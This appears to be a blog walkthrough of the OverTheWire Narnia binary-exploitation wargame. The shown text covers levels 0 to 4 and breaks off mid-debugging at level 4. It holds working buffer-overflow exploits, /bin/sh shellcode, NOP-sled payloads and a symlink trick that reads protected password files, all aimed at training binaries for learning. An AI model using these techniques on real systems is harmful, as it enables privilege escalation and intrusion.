OverTheWire Narnia Levels 0 to 9 Walkthrough
Walkthrough on solving the Narnia series from the wargame site, OverTheWire
This blogpost contains the solutions of how I solved the challenges of the OverTheWire Narnia series of challenges, this category of challenges are aimed at beginners to binary exploitation, similar to the earlier challenges of the Smashthestack IO challenges. The purpose of this wargame is to solve the current level’s problem to find the password for the next level. I will update this blogpost to contain the solutions for all the challenges as I complete the level.
NOTE: Before getting to the actual write-ups, I’ve appended all the passwords with “*” to not give away the actual passwords.
Level 0
narnia0@melinda:/narnia$ cat narnia0.c
/*
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
*/
#include <stdio.h>
#include <stdlib.h>
int main(){
long val=0x41414141;
char buf[20];
printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n");
printf("Here is your chance: ");
scanf("%24s",&buf);
printf("buf: %s\n",buf);
printf("val: 0x%08x\n",val);
if(val==0xdeadbeef)
system("/bin/sh");
else {
printf("WAY OFF!!!!\n");
exit(1);
}
return 0;
}
The above C code is the source code for the first challenge in the Narnia series of challenges offered by Overthewire.org, these challenges have been designed to have basic vulnerabilities. The goal of this challenge is to get the val varible to equal “0xdeadbeef” and if so the binary will give me a shell. The binary accepts one string input from the user and puts the string into a buffer of 20 bytes, straight away this looks like a buffer overflow vulnerability with the goal of overflowing the buffer and then overwriting the value of the varible called “val” which currently is “0x41414141” with the value of “0xdeadbeef”.
So the next step I sent a string of A’s with 4 C’s to test the vulnerability, the buffer is defined as 20 bytes in size which means if there is actually a vulnerability in the code when the binary takes the user input and places it directly into the buffer and the user input is greater then 20 bytes there should be an overflow, which is why I include 4 C’s which should overwrite the val varible.
narnia0@melinda:/narnia$ ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: AAAAAAAAAAAAAAAAAAAACCCC
buf: AAAAAAAAAAAAAAAAAAAACCCC
val: 0x43434343
WAY OFF!!!!
As I expected there was an overflow when I entered a string greater then 20 bytes long. Next I want to get code execution which will allow me to view the password for the next level. Since the binary should give me a shell when the val varible equals “0xdeadbeef” which means if I replace the 4 C’s to be “0xdeadbeef” I should be given a shell and then simply just be able to cat out the password file. So below I used python to create my string with the “0xdeadbeef” overwrite included which is piped into the narnia0 binary.
narnia0@melinda:~$ python -c'print "A"*20 + "\xef\xbe\xad\xde"' | /narnia/narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: AAAAAAAAAAAAAAAAAAAAï¾Þ
val: 0xdeadbeef
Damn!!! I successfully overwrite the val varible with “0xdeadbeef” but I was not given a shell, this is because the shell closes straight away.
narnia0@melinda:~$ python -c'print "A"*20 + "\xef\xbe\xad\xde"';id | /narnia/narnia0
AAAAAAAAAAAAAAAAAAAAï¾Þ
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: uid=14000(narnia0)
val: 0x41414141
WAY OFF!!!!
I added an “id” command to be executed when the shell is be given, I can see the results of the command to be “uid=14000(narnia0)” but the results was not what I expected, again the command was executed after the shell from the binary had closed. I need to work out a way to keep the shell open. After running through a series of different commands I found the “cat” command kept the shell session open.
narnia0@melinda:/narnia$ (python -c'print "A"*20 + "\xef\xbe\xad\xde"'; cat) | ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: AAAAAAAAAAAAAAAAAAAAᆳ
val: 0xdeadbeef
whoami
narnia1
id
uid=14000(narnia0) gid=14000(narnia0) euid=14001(narnia1) groups=14001(narnia1),14000(narnia0)
cat /etc/narnia_pass/narnia1
**********
Level 1
narnia1@melinda:/narnia$ cat narnia1.c
/*
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
*/
#include <stdio.h>
int main(){
int (*ret)();
if(getenv("EGG")==NULL){
printf("Give me something to execute at the env-variable EGG\n");
exit(1);
}
printf("Trying to execute EGG!\n");
ret = getenv("EGG");
ret();
return 0;
}
The source code above is for the binary narnia1, this is a simple vulnerability. The binary looks for an environment varible called “EGG” using the getenv() function and if the environment varible is executed. Since some of the challenges from the IO series of challenges from Smashthestack.org required me to insert some shellcode into a environment varible.
shellcode
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"
The above shellcode is what I planned to use to gain a shell, it is a “/bin/sh” payload which is the same shellcode I’ve used in several challenges from my IO walkthrough blogposts, the original location of shellcode is from smashing the stack for fun and profit. Using the below the command I was able to create the environment varible called “EGG” which will contain the shellcode.
export EGG=$(python -c'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"')
Next I simply just executed the binary which found the environment varible called “EGG” and executed the shellcode giving me a shell and then just used the cat command to print out the contents of the narnia2 password file.
narnia1@melinda:/narnia$ ./narnia1
Trying to execute EGG!
$ cat /etc/narnia_pass/narnia2
**********
Level 2
narnia2@melinda:/narnia$ cat narnia2.c
/*
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char * argv[]){
char buf[128];
if(argc == 1){
printf("Usage: %s argument\n", argv[0]);
exit(1);
}
strcpy(buf,argv[1]);
printf("%s", buf);
return 0;
}
This is again another buffer overflow vulnerability in the binary file, the vulnerability is that the user input of “argv[1]” is copied directly into buffer called “buf” using the strcpy() function without any checking of the string and since the buffer is defined to be a length of 128 bytes in size if I send a string of more then 128 bytes I should be able to cause a buffer overflow in the binary’s execution.
Using GDB to debug my fuzzing of the potential buffer overflow. Using python I sent a string of increasing length of A’s until I caused a buffer overflow in the execution, I redid the overflow with the last 4 bytes in the string to be C’s to show the 4 bytes that overwrite the EIP register.
narnia2@melinda:/narnia$ gdb ./narnia2 -q
Reading symbols from /games/narnia/narnia2...(no debugging symbols found)...done.
(gdb) r $(python -c'print "\x41"*140 + "\x43"*4')
Starting program: /games/narnia/narnia2 $(python -c'print "\x41"*140 + "\x43"*4')
Program received signal SIGSEGV, Segmentation fault.
0x43434343 in ?? ()
(gdb) x/300x $esp
0xffffd6a0: 0x00000000 0xffffd734 0xffffd740 0xf7fd3000
0xffffd6b0: 0x00000000 0xffffd71c 0xffffd740 0x00000000
0xffffd6c0: 0x0804821c 0xf7fceff4 0x00000000 0x00000000
0xffffd6d0: 0x00000000 0x8947ceb3 0xbe426aa3 0x00000000
0xffffd6e0: 0x00000000 0x00000000 0x00000002 0x08048370
0xffffd6f0: 0x00000000 0xf7ff0a90 0xf7e453c9 0xf7ffcff4
0xffffd700: 0x00000002 0x08048370 0x00000000 0x08048391
0xffffd710: 0x08048424 0x00000002 0xffffd734 0x08048490
0xffffd720: 0x08048500 0xf7feb660 0xffffd72c 0xf7ffd918
0xffffd730: 0x00000002 0xffffd85e 0xffffd874 0x00000000
0xffffd740: 0xffffd905 0xffffd915 0xffffd920 0xffffd944
0xffffd750: 0xffffd957 0xffffd960 0xffffd96d 0xffffde8e
0xffffd760: 0xffffde99 0xffffdea5 0xffffdef2 0xffffdf09
0xffffd770: 0xffffdf18 0xffffdf24 0xffffdf35 0xffffdf3e
0xffffd780: 0xffffdf51 0xffffdf59 0xffffdf69 0xffffdfa0
0xffffd790: 0xffffdfc0 0x00000000 0x00000020 0xf7fdb420
0xffffd7a0: 0x00000021 0xf7fdb000 0x00000010 0x1f898975
0xffffd7b0: 0x00000006 0x00001000 0x00000011 0x00000064
0xffffd7c0: 0x00000003 0x08048034 0x00000004 0x00000020
0xffffd7d0: 0x00000005 0x00000008 0x00000007 0xf7fdc000
0xffffd7e0: 0x00000008 0x00000000 0x00000009 0x08048370
0xffffd7f0: 0x0000000b 0x000036b2 0x0000000c 0x000036b2
0xffffd800: 0x0000000d 0x000036b2 0x0000000e 0x000036b2
0xffffd810: 0x00000017 0x00000000 0x00000019 0xffffd83b
0xffffd820: 0x0000001f 0xffffdfe2 0x0000000f 0xffffd84b
0xffffd830: 0x00000000 0x00000000 0xd8000000 0x47e342a2
0xffffd840: 0x00a63b75 0x9ab5f04d 0x6903f01d 0x00363836
0xffffd850: 0x00000000 0x00000000 0x00000000 0x672f0000
0xffffd860: 0x73656d61 0x72616e2f 0x2f61696e 0x6e72616e
0xffffd870: 0x00326169 0x41414141 0x41414141 0x41414141
0xffffd880: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd890: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd8a0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd8b0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd8c0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd8d0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd8e0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd8f0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd900: 0x43434343 0x45485300 0x2f3d4c4c 0x2f6e6962
0xffffd910: 0x68736162 0x52455400 0x74783d4d 0x006d7265
0xffffd920: 0x5f485353 0x45494c43 0x323d544e 0x312e3230
0xffffd930: 0x312e3435 0x322e3530 0x34203834 0x33353038
0xffffd940: 0x00323220 0x5f485353 0x3d595454 0x7665642f
0xffffd950: 0x7374702f 0x4c00372f 0x4c415f43 0x00433d4c
0xffffd960: 0x52455355 0x72616e3d 0x3261696e 0x5f534c00
0xffffd970: 0x4f4c4f43 0x723d5352 0x3a303d73 0x303d6964
0xffffd980: 0x34333b31 0x3d6e6c3a 0x333b3130 0x686d3a36
0xffffd990: 0x3a30303d 0x343d6970 0x33333b30 0x3d6f733a
0xffffd9a0: 0x333b3130 0x6f643a35 0x3b31303d 0x623a3533
0xffffd9b0: 0x30343d64 0x3b33333b 0x633a3130 0x30343d64
0xffffd9c0: 0x3b33333b 0x6f3a3130 0x30343d72 0x3b31333b
0xffffd9d0: 0x733a3130 0x37333d75 0x3a31343b 0x333d6773
0xffffd9e0: 0x33343b30 0x3d61633a 0x343b3033 0x77743a31
0xffffd9f0: 0x3b30333d 0x6f3a3234 0x34333d77 0x3a32343b
0xffffda00: 0x333d7473 0x34343b37 0x3d78653a 0x333b3130
0xffffda10: 0x2e2a3a32 0x3d726174 0x333b3130 0x2e2a3a31
0xffffda20: 0x3d7a6774 0x333b3130 0x2e2a3a31 0x3d6a7261
0xffffda30: 0x333b3130 0x2e2a3a31 0x3d7a6174 0x333b3130
0xffffda40: 0x2e2a3a31 0x3d687a6c 0x333b3130 0x2e2a3a31
0xffffda50: 0x616d7a6c 0x3b31303d 0x2a3a3133 0x7a6c742e
0xffffda60: 0x3b31303d 0x2a3a3133 0x7a78742e 0x3b31303d
0xffffda70: 0x2a3a3133 0x70697a2e 0x3b31303d 0x2a3a3133
0xffffda80: 0x303d7a2e 0x31333b31 0x5a2e2a3a 0x3b31303d
0xffffda90: 0x2a3a3133 0x3d7a642e 0x333b3130 0x2e2a3a31
0xffffdaa0: 0x303d7a67 0x31333b31 0x6c2e2a3a 0x31303d7a
0xffffdab0: 0x3a31333b 0x7a782e2a 0x3b31303d 0x2a3a3133
0xffffdac0: 0x327a622e 0x3b31303d 0x2a3a3133 0x3d7a622e
0xffffdad0: 0x333b3130 0x2e2a3a31 0x3d7a6274 0x333b3130
0xffffdae0: 0x2e2a3a31 0x327a6274 0x3b31303d 0x2a3a3133
0xffffdaf0: 0x3d7a742e 0x333b3130 0x2e2a3a31 0x3d626564
0xffffdb00: 0x333b3130 0x2e2a3a31 0x3d6d7072 0x333b3130
0xffffdb10: 0x2e2a3a31 0x3d72616a 0x333b3130 0x2e2a3a31
0xffffdb20: 0x3d726177 0x333b3130 0x2e2a3a31 0x3d726165
0xffffdb30: 0x333b3130 0x2e2a3a31 0x3d726173 0x333b3130
0xffffdb40: 0x2e2a3a31 0x3d726172 0x333b3130 0x2e2a3a31
After the buffer overflow was caused I used gdb to view the state of the stack at the time of the overflow, the memory address of 0xffffd904 was overwritten by the 4 C’s. Using the same shellcode as I did in the previous challenge I plan to include the shellcode in my buffer and have the memory address of 0xffffd904 jump back to a point in the buffer and begin executing my shellcode. As part of this proposed attack plan I need to verify the length of the shellcode as it is important to send the correct buffer length to the binary.
root@Phlegethon:~# python -c'print(len("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"))'
25
So the actual shellcode is 25 bytes in length, the string needs to be 144 bytes in length so I plan to fill the rest of the buffer up with NOPs and the last 4 bytes of the buffer to be the RET address of a memory address within the NOP sled. The below debugging in GDB was to be a PoC of the attack vector as well as to find the memory location of the RET address.
(gdb) r $(python -c'print "\x90"*115 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x43"*4')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /games/narnia/narnia2 $(python -c'print "\x90"*115 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x43"*4')
Program received signal SIGSEGV, Segmentation fault.
0x43434343 in ?? ()
(gdb) x/250x $esp
0xffffd6a0: 0x00000000 0xffffd734 0xffffd740 0xf7fd3000
0xffffd6b0: 0x00000000 0xffffd71c 0xffffd740 0x00000000
0xffffd6c0: 0x0804821c 0xf7fceff4 0x00000000 0x00000000
0xffffd6d0: 0x00000000 0x86b43b80 0xb1b19f90 0x00000000
0xffffd6e0: 0x00000000 0x00000000 0x00000002 0x08048370
0xffffd6f0: 0x00000000 0xf7ff0a90 0xf7e453c9 0xf7ffcff4
0xffffd700: 0x00000002 0x08048370 0x00000000 0x08048391
0xffffd710: 0x08048424 0x00000002 0xffffd734 0x08048490
0xffffd720: 0x08048500 0xf7feb660 0xffffd72c 0xf7ffd918
0xffffd730: 0x00000002 0xffffd85e 0xffffd874 0x00000000
0xffffd740: 0xffffd905 0xffffd915 0xffffd920 0xffffd944
0xffffd750: 0xffffd957 0xffffd960 0xffffd96d 0xffffde8e
0xffffd760: 0xffffde99 0xffffdea5 0xffffdef2 0xffffdf09
0xffffd770: 0xffffdf18 0xffffdf24 0xffffdf35 0xffffdf3e
0xffffd780: 0xffffdf51 0xffffdf59 0xffffdf69 0xffffdfa0
0xffffd790: 0xffffdfc0 0x00000000 0x00000020 0xf7fdb420
0xffffd7a0: 0x00000021 0xf7fdb000 0x00000010 0x1f898975
0xffffd7b0: 0x00000006 0x00001000 0x00000011 0x00000064
0xffffd7c0: 0x00000003 0x08048034 0x00000004 0x00000020
0xffffd7d0: 0x00000005 0x00000008 0x00000007 0xf7fdc000
0xffffd7e0: 0x00000008 0x00000000 0x00000009 0x08048370
0xffffd7f0: 0x0000000b 0x000036b2 0x0000000c 0x000036b2
0xffffd800: 0x0000000d 0x000036b2 0x0000000e 0x000036b2
0xffffd810: 0x00000017 0x00000000 0x00000019 0xffffd83b
0xffffd820: 0x0000001f 0xffffdfe2 0x0000000f 0xffffd84b
0xffffd830: 0x00000000 0x00000000 0xf5000000 0xbddafb32
0xffffd840: 0xcf3fbc8c 0x499b46af 0x69664c26 0x00363836
0xffffd850: 0x00000000 0x00000000 0x00000000 0x672f0000
0xffffd860: 0x73656d61 0x72616e2f 0x2f61696e 0x6e72616e
0xffffd870: 0x00326169 0x90909090 0x90909090 0x90909090
0xffffd880: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd890: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd8a0: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd8b0: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd8c0: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd8d0: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd8e0: 0x90909090 0x31909090 0x2f6850c0 0x6868732f
0xffffd8f0: 0x6e69622f 0x5350e389 0xc289e189 0x80cd0bb0
0xffffd900: 0x43434343 0x45485300 0x2f3d4c4c 0x2f6e6962
0xffffd910: 0x68736162 0x52455400 0x74783d4d 0x006d7265
0xffffd920: 0x5f485353 0x45494c43 0x323d544e 0x312e3230
0xffffd930: 0x312e3435 0x322e3530 0x34203834 0x33353038
0xffffd940: 0x00323220 0x5f485353 0x3d595454 0x7665642f
0xffffd950: 0x7374702f 0x4c00372f 0x4c415f43 0x00433d4c
0xffffd960: 0x52455355 0x72616e3d 0x3261696e 0x5f534c00
0xffffd970: 0x4f4c4f43 0x723d5352 0x3a303d73 0x303d6964
0xffffd980: 0x34333b31 0x3d6e6c3a 0x333b3130 0x686d3a36
0xffffd990: 0x3a30303d 0x343d6970 0x33333b30 0x3d6f733a
0xffffd9a0: 0x333b3130 0x6f643a35 0x3b31303d 0x623a3533
0xffffd9b0: 0x30343d64 0x3b33333b 0x633a3130 0x30343d64
0xffffd9c0: 0x3b33333b 0x6f3a3130 0x30343d72 0x3b31333b
0xffffd9d0: 0x733a3130 0x37333d75 0x3a31343b 0x333d6773
0xffffd9e0: 0x33343b30 0x3d61633a 0x343b3033 0x77743a31
0xffffd9f0: 0x3b30333d 0x6f3a3234 0x34333d77 0x3a32343b
0xffffda00: 0x333d7473 0x34343b37 0x3d78653a 0x333b3130
0xffffda10: 0x2e2a3a32 0x3d726174 0x333b3130 0x2e2a3a31
0xffffda20: 0x3d7a6774 0x333b3130 0x2e2a3a31 0x3d6a7261
0xffffda30: 0x333b3130 0x2e2a3a31 0x3d7a6174 0x333b3130
0xffffda40: 0x2e2a3a31 0x3d687a6c 0x333b3130 0x2e2a3a31
0xffffda50: 0x616d7a6c 0x3b31303d 0x2a3a3133 0x7a6c742e
0xffffda60: 0x3b31303d 0x2a3a3133 0x7a78742e 0x3b31303d
0xffffda70: 0x2a3a3133 0x70697a2e 0x3b31303d 0x2a3a3133
0xffffda80: 0x303d7a2e 0x31333b31
So I chose the memory location of “0xffffd8c0” which is located in the middle of the NOP sled. I then took my exploit string and exploited the buffer overflow vulnerability to gain a shell with the privileges of the narnia3 and then cat the password file of narnia3.
narnia2@melinda:/narnia$ ./narnia2 $(python -c'print "\x90"*115 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\xc0\xd8\xff\xff"')
$ whoami
narnia3
$ cat /etc/narnia_pass/narnia3
**********
Level 3
narnia3@melinda:/narnia$ cat narnia3.c
/*
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
*/
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char **argv){
int ifd, ofd;
char ofile[16] = "/dev/null";
char ifile[32];
char buf[32];
if(argc != 2){
printf("usage, %s file, will send contents of file 2 /dev/null\n",argv[0]);
exit(-1);
}
/* open files */
strcpy(ifile, argv[1]);
if((ofd = open(ofile,O_RDWR)) < 0 ){
printf("error opening %s\n", ofile);
exit(-1);
}
if((ifd = open(ifile, O_RDONLY)) < 0 ){
printf("error opening %s\n", ifile);
exit(-1);
}
/* copy from file1 to file2 */
read(ifd, buf, sizeof(buf)-1);
write(ofd,buf, sizeof(buf)-1);
printf("copied contents of %s to a safer place... (%s)\n",ifile,ofile);
/* close 'em */
close(ifd);
close(ofd);
exit(1);
}
The source code for this next binary at first looks very complicated but again this is just a buffer overflow vulnerability again. The overflow occurs in the ifile buffer where a long file name can overwrite the ofile file.
narnia3@melinda:~$ gdb -q /narnia/narnia3
Reading symbols from /games/narnia/narnia3...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
0x080484d4 <+0>: push %ebp
0x080484d5 <+1>: mov %esp,%ebp
0x080484d7 <+3>: and $0xfffffff0,%esp
0x080484da <+6>: sub $0x70,%esp
0x080484dd <+9>: movl $0x7665642f,0x58(%esp) ;ofile /dev
0x080484e5 <+17>: movl $0x6c756e2f,0x5c(%esp) ;ofile /nul
0x080484ed <+25>: movl $0x6c,0x60(%esp) ;ofile l
0x080484f5 <+33>: movl $0x0,0x64(%esp) ;ofile \0
0x080484fd <+41>: cmpl $0x2,0x8(%ebp)
0x08048501 <+45>: je 0x8048525 <main+81>
0x08048503 <+47>: mov 0xc(%ebp),%eax
0x08048506 <+50>: mov (%eax),%edx
0x08048508 <+52>: mov $0x8048710,%eax
0x0804850d <+57>: mov %edx,0x4(%esp)
0x08048511 <+61>: mov %eax,(%esp)
0x08048514 <+64>: call 0x80483a0 <printf@plt>
0x08048519 <+69>: movl $0xffffffff,(%esp)
0x08048520 <+76>: call 0x80483d0 <exit@plt>
0x08048525 <+81>: mov 0xc(%ebp),%eax
0x08048528 <+84>: add $0x4,%eax
0x0804852b <+87>: mov (%eax),%eax
0x0804852d <+89>: mov %eax,0x4(%esp)
0x08048531 <+93>: lea 0x38(%esp),%eax ;ifile
....
As I showed in the disassemble of the main function in gdb, the ofile is begins to be defined at 0x58 and ifile is at 0x38 which is a length of 32 bytes in length. Since the input for ifile is copied from the user input into the ifile with the strcpy() which does not perform any checks of the length of the input. This means if I give a file name of more then 32 bytes in length I can overwrite the ofile file from /dev/null to whatever I would like.
To begin with I create a file in the /tmp directory called “abcdefghijklm” which is where I want the password for the next level to end up, and then made the file world readable and then made a directory within the /tmp directory of called “bbbbbbbbbbbbbbbbbbbbbbbbbbb” which is 27 b’s and then inside that directory I created another directory called /tmp. The entire length of the file name called
narnia3@melinda:/tmp$ touch /tmp/abcdefghijklm
narnia3@melinda:/tmp$ chmod 777 /tmp/abcdefghijklm
narnia3@melinda:/tmp$ cd ./$(python -c'print "b"*27')
narnia3@melinda:/tmp/bbbbbbbbbbbbbbbbbbbbbbbbbbb$ cd ./tmp
narnia3@melinda:~$ python -c'print(len("/tmp/bbbbbbbbbbbbbbbbbbbbbbbbbbb"))'
32
So as you can see in the command outputs above is that the directory name of “/tmp/bbbbbbbbbbbbbbbbbbbbbbbbbbb” is 32 bytes in length which means the directory called “/tmp” within the “/tmp/bbbbbbbbbbbbbbbbbbbbbbbbbbb” will begin to overwrite the ofile if passed to the binary. The next step was to link the “/tmp/abcdefghijklm” file with the password file using the link command in linux, this means when the abcdefghijklm files is cat the file actual cats out the contents of the password file “/etc/narnia_pass/narnia4”.
narnia3@melinda:/tmp/bbbbbbbbbbbbbbbbbbbbbbbbbbb/tmp$ ln -s /etc/narnia_pass/narnia4 ./abcdefghijklm
narnia3@melinda:/tmp/bbbbbbbbbbbbbbbbbbbbbbbbbbb/tmp$ ls -lh
total 0
lrwxrwxrwx 1 narnia3 narnia3 24 Nov 12 07:50 abcdefghijklm -> /etc/narnia_pass/narnia4
The next step is just to pass the binary the long filename for the ifile buffer and then cat out my password file.
narnia3@melinda:/tmp/bbbbbbbbbbbbbbbbbbbbbbbbbbb/tmp$ /narnia/narnia3 $(python -c'print "/tmp/" + "b"*27 + "/tmp/abcdefghijklm"')
copied contents of /tmp/bbbbbbbbbbbbbbbbbbbbbbbbbbb/tmp/abcdefghijk to a safer place... (/tmp/abcdefghijk)
narnia3@melinda:/tmp/bbbbbbbbbbbbbbbbbbbbbbbbbbb/tmp$ cat /tmp/abcdefghijklm
**********
ÿ/Üÿÿô`narnia3@melinda:/tmp/bbbbbbbbbbbbbbbbbbbbbbbbbbb/tmp/tmp$
Level 4
narnia4@melinda:~$ cat /narnia/narnia4.c
/*
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
*/
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <ctype.h>
extern char **environ;
int main(int argc,char **argv){
int i;
char buffer[256];
for(i = 0; environ[i] != NULL; i++)
memset(environ[i], '\0', strlen(environ[i]));
if(argc>1)
strcpy(buffer,argv[1]);
return 0;
}
This is another buffer overflow vulnerability straight away I had planned to use the same method of passing the binary my shellcode as I did in the Narnia2 challenge, when I re-read through the source code I realised this was the only way the shellcode can be passed to the binary anyways as it is set to null. So I opened up gdb and began debugging the binary sending it increasing in length strings beginning at 260 until I caused a SIGSEV error.
(gdb) r $(python -c'print "A"*276')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /games/narnia/narnia4 $(python -c'print "A"*276')
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) x/250x $esp
0xffffd620: 0x00000000 0xffffd6b4 0xffffd6c0 0xf7fd3000
0xffffd630: 0x00000000 0xffffd61c 0xffffd6c0 0x00000000
0xffffd640: 0x0804824c 0xf7fceff4 0x00000000 0x00000000
0xffffd650: 0x00000000 0x2cd80063 0x1bdca473 0x00000000
0xffffd660: 0x00000000 0x00000000 0x00000002 0x08048390
0xffffd670: 0x00000000 0xf7ff0a90 0xf7e453c9 0xf7ffcff4
0xffffd680: 0x00000002 0x08048390 0x00000000 0x080483b1
0xffffd690: 0x08048444 0x00000002 0xffffd6b4 0x08048500
0xffffd6a0: 0x08048570 0xf7feb660 0xffffd6ac 0xf7ffd918
0xffffd6b0: 0x00000002 0xffffd7d5 0xffffd7eb 0x00000000
0xffffd6c0: 0xffffd900 0xffffd910 0xffffd91b 0xffffd93f
0xffffd6d0: 0xffffd952 0xffffd95b 0xffffd968 0xffffde89
0xffffd6e0: 0xffffde94 0xffffde9f 0xffffdeec 0xffffdf03
0xffffd6f0: 0xffffdf12 0xffffdf24 0xffffdf35 0xffffdf3e
0xffffd700: 0xffffdf51 0xffffdf59 0xffffdf69 0xffffdfa0
0xffffd710: 0xffffdfc0 0x00000000 0x00000020 0xf7fdb420
0xffffd720: 0x00000021 0xf7fdb000 0x00000010 0x1f898975
0xffffd730: 0x00000006 0x00001000 0x00000011 0x00000064
0xffffd740: 0x00000003 0x08048034 0x00000004 0x00000020
0xffffd750: 0x00000005 0x00000008 0x00000007 0xf7fdc000
0xffffd760: 0x00000008 0x00000000 0x00000009 0x08048390
0xffffd770: 0x0000000b 0x000036b4 0x0000000c 0x000036b4
0xffffd780: 0x0000000d 0x000036b4 0x0000000e 0x000036b4
0xffffd790: 0x00000017 0x00000000 0x00000019 0xffffd7bb
0xffffd7a0: 0x0000001f 0xffffdfe2 0x0000000f 0xffffd7cb
0xffffd7b0: 0x00000000 0x00000000 0xf1000000 0x206ad5f0
0xffffd7c0: 0xe7ce69ba 0x3bf6e642 0x69a79926 0x00363836
0xffffd7d0: 0x00000000 0x61672f00 0x2f73656d 0x6e72616e
0xffffd7e0: 0x6e2f6169 0x696e7261 0x41003461 0x41414141
0xffffd7f0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd800: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd810: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd820: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd830: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd840: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd850: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd860: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd870: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd880: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd890: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd8a0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd8b0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd8c0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd8d0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd8e0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd8f0: 0x41414141 0x41414141 0x41414141 0x00414141
